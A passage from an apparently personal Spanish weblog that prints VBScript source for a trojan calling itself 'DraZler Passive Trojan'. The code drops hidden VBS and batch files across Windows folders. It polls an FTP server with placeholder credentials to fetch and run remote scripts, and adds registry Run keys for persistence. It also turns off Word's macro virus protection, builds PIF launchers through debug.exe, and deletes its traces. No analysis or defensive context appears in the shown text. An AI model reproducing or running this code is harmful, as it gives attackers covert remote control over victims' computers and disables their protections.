0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0370 00 00 00 63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 ") DrazSrcPif.WriteLine("E 0380 73 74 65 6D 5C 73 68 65 6C 6C 33 32 2E 64 6C 6C ") DrazSrcPif.WriteLine("E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 03C0 00 00 00 15 00 12 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 03D0 00 32 00 01 00 00 00 00 00 00 00 00 00 00 00 E0 ") DrazSrcPif.WriteLine("E 03E0 0F 00 00 05 00 19 00 03 00 C8 00 E8 03 02 00 0A ") DrazSrcPif.WriteLine("E 03F0 00 01 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0400 00 00 00 00 00 54 65 72 6D 69 6E 61 6C 00 00 00 ") DrazSrcPif.WriteLine("E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0420 00 00 00 00 00 4C 75 63 69 64 61 20 43 6F 6E 73 ") DrazSrcPif.WriteLine("E 0430 6F 6C 65 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0440 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0450 00 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 04C0 00 00 00 00 00 01 00 ") DrazSrcPif.WriteLine("RCX") DrazSrcPif.WriteLine("400") DrazSrcPif.WriteLine("W") DrazSrcPif.WriteLine("Q") DrazSrcPif.Close() Set DraZ95 = AccesoHD.CreateTextFile("C:\WIN95\drazler.vbs",1,false) DraZ95.WriteLine("On Error Resume Next") DraZ95.WriteLine("Set Ejecutar = CreateObject(" & Chr(34) & "WScript.Shell" & Chr(34) & ")") DraZ95.WriteLine("Set AccesoHD = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")") DraZ95.WriteLine("Set Ftp = AccesoHD.CreateTextFile(" & Chr(34) & "C:\draz.bat" & Chr(34) & ",1,false)") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "@echo off" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & ":reiniciar" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo user milogin miclave > C:\rank.sys" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo get done C:\done >> C:\rank.sys" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo get ord.vbs C:\ord.vbs >> C:\rank.sys" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo delete ord.vbs >> C:\rank.sys" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo bye >> C:\rank.sys" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & ":repetir" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "@if not exist C:\rank.sys goto reiniciar" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "ftp -n -v -s:C:\rank.sys mi.ftp.com" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "@if exist C:\done goto ejecutar" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "goto repetir" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & ":ejecutar" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "@if exist C:\ord.vbs wscript C:\ord.vbs" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "del C:\done" & Chr(34) & ")") DraZ95.WriteLine("Ftp.WriteLine(" & Chr(34) & "del C:\rank.sys" & Chr(34) & ")") DraZ95.WriteLine("Ftp.Close()") DraZ95.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DraZler" & Chr(34) & ", " & Chr(34) & "C:\WIN95\wscript.exe C:\WIN95\dinit.vbs" & Chr(34)) DraZ95.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options\EnableMacroVirusProtection" & Chr(34) & " , " & Chr(34) & "0" & Chr(34)) DraZ95.WriteLine("Flecha = Ejecutar.RegRead(" & Chr(34) & "HKEY_CURRENT_USER\Control Panel\Cursors\Arrow" & Chr(34) & ")") DraZ95.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting" & Chr(34) & ",Flecha") DraZ95.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_LOCAL_MACHINE\Software\DraZler\" & Chr(34) & "," & Chr(34) & "An InfoBioGenetic Industries Production." & Chr(34)) DraZ95.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_LOCAL_MACHINE\Software\DraZler\NaMe" & Chr(34) & "," & Chr(34) & "DraZler Passive Trojan." & Chr(34)) DraZ95.WriteLine("Ejecutar.Run " & Chr(34) & "C:\draz.bat" & Chr(34) & "," & Chr(34) & "0" & Chr(34)) DraZ95.Close() Set DraZInit95 = AccesoHD.CreatetextFile("C:\WIN95\dinit.vbs",1,false) DraZInit95.WriteLine("On Error Resume Next") DraZInit95.WriteLine("Set Ejecutar = CreateObject(" & Chr(34) & "WScript.Shell" & Chr(34) & ")") DraZInit95.WriteLine("Ejecutar.Run " & Chr(34) & "C:\WIN95\drazler.pif" & Chr(34) & "," & Chr(34) & "0" & Chr(34)) DraZInit95.Close() Set DrazSrcPif95 = AccesoHD.CreatetextFile("C:\draz95.src",1,false) DrazSrcPif95.WriteLine("N c:\win95\drazler.pif") DrazSrcPif95.WriteLine("E 0100 00 78 44 52 41 5A 4C 45 52 20 20 20 20 20 20 20 ") DrazSrcPif95.WriteLine("E 0110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ") DrazSrcPif95.WriteLine("E 0120 80 02 00 00 43 3A 5C 57 49 4E 39 35 5C 77 73 63 ") DrazSrcPif95.WriteLine("E 0130 72 69 70 74 2E 65 78 65 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0160 00 00 00 10 00 43 3A 5C 00 49 4E 39 35 00 00 00 ") DrazSrcPif95.WriteLine("E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 01A0 00 00 00 00 00 43 3A 5C 57 49 4E 39 35 5C 64 72 ") DrazSrcPif95.WriteLine("E 01B0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 01E0 00 00 00 00 00 00 01 00 FF 19 50 00 00 07 00 00 ") DrazSrcPif95.WriteLine("E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0270 00 4D 49 43 52 4F 53 4F 46 54 20 50 49 46 45 58 ") DrazSrcPif95.WriteLine("E 0280 00 87 01 00 00 71 01 57 49 4E 44 4F 57 53 20 33 ") DrazSrcPif95.WriteLine("E 0290 38 36 20 33 2E 30 00 05 02 9D 01 68 00 80 02 00 ") DrazSrcPif95.WriteLine("E 02A0 00 64 00 32 00 FF FF 00 00 FF FF 00 00 E2 1F 18 ") DrazSrcPif95.WriteLine("E 02B0 00 1F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 02C0 00 00 00 00 00 43 3A 5C 57 49 4E 39 35 5C 64 72 ") DrazSrcPif95.WriteLine("E 02D0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0300 00 00 00 00 00 57 49 4E 44 4F 57 53 20 56 4D 4D ") DrazSrcPif95.WriteLine("E 0310 20 34 2E 30 00 FF FF 1B 02 AC 01 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0370 00 00 00 63 3A 5C 77 69 6E 39 35 5C 73 79 73 74 ") DrazSrcPif95.WriteLine("E 0380 65 6D 5C 73 68 65 6C 6C 33 32 2E 64 6C 6C 00 00 ") DrazSrcPif95.WriteLine("E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 03C0 00 00 00 15 00 12 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 03D0 00 32 00 01 00 00 00 00 00 00 00 00 00 00 00 E0 ") DrazSrcPif95.WriteLine("E 03E0 0F 00 00 05 00 19 00 03 00 C8 00 E8 03 02 00 0A ") DrazSrcPif95.WriteLine("E 03F0 00 01 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0400 00 00 00 00 00 54 65 72 6D 69 6E 61 6C 00 00 00 ") DrazSrcPif95.WriteLine("E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0420 00 00 00 00 00 4C 75 63 69 64 61 20 43 6F 6E 73 ") DrazSrcPif95.WriteLine("E 0430 6F 6C 65 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0440 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0450 00 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif95.WriteLine("E 04C0 00 00 00 00 00 01 00 ") DrazSrcPif95.WriteLine("RCX") DrazSrcPif95.WriteLine("400") DrazSrcPif95.WriteLine("W") DrazSrcPif95.WriteLine("Q") DrazSrcPif95.Close() Set DraZ98 = AccesoHD.CreateTextFile("C:\WIN98\drazler.vbs",1,false) DraZ98.WriteLine("On Error Resume Next") DraZ98.WriteLine("Set Ejecutar = CreateObject(" & Chr(34) & "WScript.Shell" & Chr(34) & ")") DraZ98.WriteLine("Set AccesoHD = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")") DraZ98.WriteLine("Set Ftp = AccesoHD.CreateTextFile(" & Chr(34) & "C:\draz.bat" & Chr(34) & ",1,false)") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "@echo off" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & ":reiniciar" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo user milogin miclave > C:\rank.sys" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo get done C:\done >> C:\rank.sys" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo get ord.vbs C:\ord.vbs >> C:\rank.sys" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo delete ord.vbs >> C:\rank.sys" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo bye >> C:\rank.sys" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & ":repetir" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "@if not exist C:\rank.sys goto reiniciar" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "ftp -n -v -s:C:\rank.sys mi.ftp.com" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "@if exist C:\done goto ejecutar" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "goto repetir" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & ":ejecutar" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "@if exist C:\ord.vbs wscript C:\ord.vbs" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "del C:\done" & Chr(34) & ")") DraZ98.WriteLine("Ftp.WriteLine(" & Chr(34) & "del C:\rank.sys" & Chr(34) & ")") DraZ98.WriteLine("Ftp.Close()") DraZ98.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DraZler" & Chr(34) & ", " & Chr(34) & "C:\WIN98\wscript.exe C:\WIN98\dinit.vbs" & Chr(34)) DraZ98.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options\EnableMacroVirusProtection" & Chr(34) & " , " & Chr(34) & "0" & Chr(34)) DraZ98.WriteLine("Flecha = Ejecutar.RegRead(" & Chr(34) & "HKEY_CURRENT_USER\Control Panel\Cursors\Arrow" & Chr(34) & ")") DraZ98.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting" & Chr(34) & ",Flecha") DraZ98.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_LOCAL_MACHINE\Software\DraZler\" & Chr(34) & "," & Chr(34) & "An InfoBioGenetic Industries Production." & Chr(34)) DraZ98.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_LOCAL_MACHINE\Software\DraZler\NaMe" & Chr(34) & "," & Chr(34) & "DraZler Passive Trojan." & Chr(34)) DraZ98.WriteLine("Ejecutar.Run " & Chr(34) & "C:\draz.bat" & Chr(34) & "," & Chr(34) & "0" & Chr(34)) DraZ98.Close() Set DraZInit98 = AccesoHD.CreatetextFile("C:\WIN98\dinit.vbs",1,false) DraZInit98.WriteLine("On Error Resume Next") DraZInit98.WriteLine("Set Ejecutar = CreateObject(" & Chr(34) & "WScript.Shell" & Chr(34) & ")") DraZInit98.WriteLine("Ejecutar.Run " & Chr(34) & "C:\WIN98\drazler.pif" & Chr(34) & "," & Chr(34) & "0" & Chr(34)) DraZInit98.Close() Set DrazSrcPif98 = AccesoHD.CreatetextFile("C:\draz98.src",1,false) DrazSrcPif98.WriteLine("N c:\win98\drazler.pif") DrazSrcPif98.WriteLine("E 0100 00 78 44 52 41 5A 4C 45 52 20 20 20 20 20 20 20 ") DrazSrcPif98.WriteLine("E 0110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ") DrazSrcPif98.WriteLine("E 0120 80 02 00 00 43 3A 5C 57 49 4E 39 38 5C 77 73 63 ") DrazSrcPif98.WriteLine("E 0130 72 69 70 74 2E 65 78 65 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0160 00 00 00 10 00 43 3A 5C 00 49 4E 39 38 00 00 00 ") DrazSrcPif98.WriteLine("E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 01A0 00 00 00 00 00 43 3A 5C 57 49 4E 39 38 5C 64 72 ") DrazSrcPif98.WriteLine("E 01B0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 01E0 00 00 00 00 00 00 01 00 FF 19 50 00 00 07 00 00 ") DrazSrcPif98.WriteLine("E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0270 00 4D 49 43 52 4F 53 4F 46 54 20 50 49 46 45 58 ") DrazSrcPif98.WriteLine("E 0280 00 87 01 00 00 71 01 57 49 4E 44 4F 57 53 20 33 ") DrazSrcPif98.WriteLine("E 0290 38 36 20 33 2E 30 00 05 02 9D 01 68 00 80 02 00 ") DrazSrcPif98.WriteLine("E 02A0 00 64 00 32 00 FF FF 00 00 FF FF 00 00 E2 1F 18 ") DrazSrcPif98.WriteLine("E 02B0 00 1F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 02C0 00 00 00 00 00 43 3A 5C 57 49 4E 39 38 5C 64 72 ") DrazSrcPif98.WriteLine("E 02D0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0300 00 00 00 00 00 57 49 4E 44 4F 57 53 20 56 4D 4D ") DrazSrcPif98.WriteLine("E 0310 20 34 2E 30 00 FF FF 1B 02 AC 01 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0370 00 00 00 63 3A 5C 77 69 6E 39 38 5C 73 79 73 74 ") DrazSrcPif98.WriteLine("E 0380 65 6D 5C 73 68 65 6C 6C 33 32 2E 64 6C 6C 00 00 ") DrazSrcPif98.WriteLine("E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 03C0 00 00 00 15 00 12 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 03D0 00 32 00 01 00 00 00 00 00 00 00 00 00 00 00 E0 ") DrazSrcPif98.WriteLine("E 03E0 0F 00 00 05 00 19 00 03 00 C8 00 E8 03 02 00 0A ") DrazSrcPif98.WriteLine("E 03F0 00 01 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0400 00 00 00 00 00 54 65 72 6D 69 6E 61 6C 00 00 00 ") DrazSrcPif98.WriteLine("E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0420 00 00 00 00 00 4C 75 63 69 64 61 20 43 6F 6E 73 ") DrazSrcPif98.WriteLine("E 0430 6F 6C 65 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0440 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0450 00 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif98.WriteLine("E 04C0 00 00 00 00 00 01 00 ") DrazSrcPif98.WriteLine("RCX") DrazSrcPif98.WriteLine("400") DrazSrcPif98.WriteLine("W") DrazSrcPif98.WriteLine("Q") DrazSrcPif98.Close() Set DrazDebugPif = AccesoHD.CreateTextFile("C:\dbg.bat",1,false) DrazDebugPif.WriteLine("@echo off") DrazDebugPif.WriteLine("debug < C:\draz.src >nul") DrazDebugPif.WriteLine("debug < C:\draz95.src >nul") DrazDebugPif.WriteLine("debug < C:\draz98.src >nul") DrazDebugPif.WriteLine("del C:\draz.src") DrazDebugPif.WriteLine("del C:\draz95.src") DrazDebugPif.WriteLine("del C:\draz98.src") DrazDebugPif.Close() Ejecutar.Run "C:\dbg.bat","0" Set DraZInfectionClean = AccesoHD.CreateTextFile("C:\dclean.vbs",1,false) DraZInfectionClean.WriteLine("On Error Resume Next") DraZInfectionClean.WriteLine("Set AccesoHD = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")") DraZInfectionClean.WriteLine("AccesoHD.DeleteFile " & Chr(34) & "C:\dbg.bat" & Chr(34)) DraZInfectionClean.WriteLine("AccesoHD.DeleteFile " & Chr(34) & "C:\dclean.vbs" & Chr(34)) DraZInfectionClean.Close() Ejecutar.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\DraZInfectClean" , "C:\WINDOWS\wscript.exe C:\dclean.vbs" Ejecutar.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\DraZInfect95Clean" , "C:\WIN95\wscript.exe C:\dclean.vbs" Ejecutar.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\DraZInfect98Clean" , "C:\WIN98\wscript.exe C:\dclean.vbs" Ejecutar.Run "C:\WINDOWS\dinit.vbs","0" Ejecutar.Run "C:\WIN95\dinit.vbs","0" Ejecutar.Run "C:\WIN98\dinit.vbs","0" |
Este es el weblog personal de Antonio Rodríguez (aka MoebiuZ).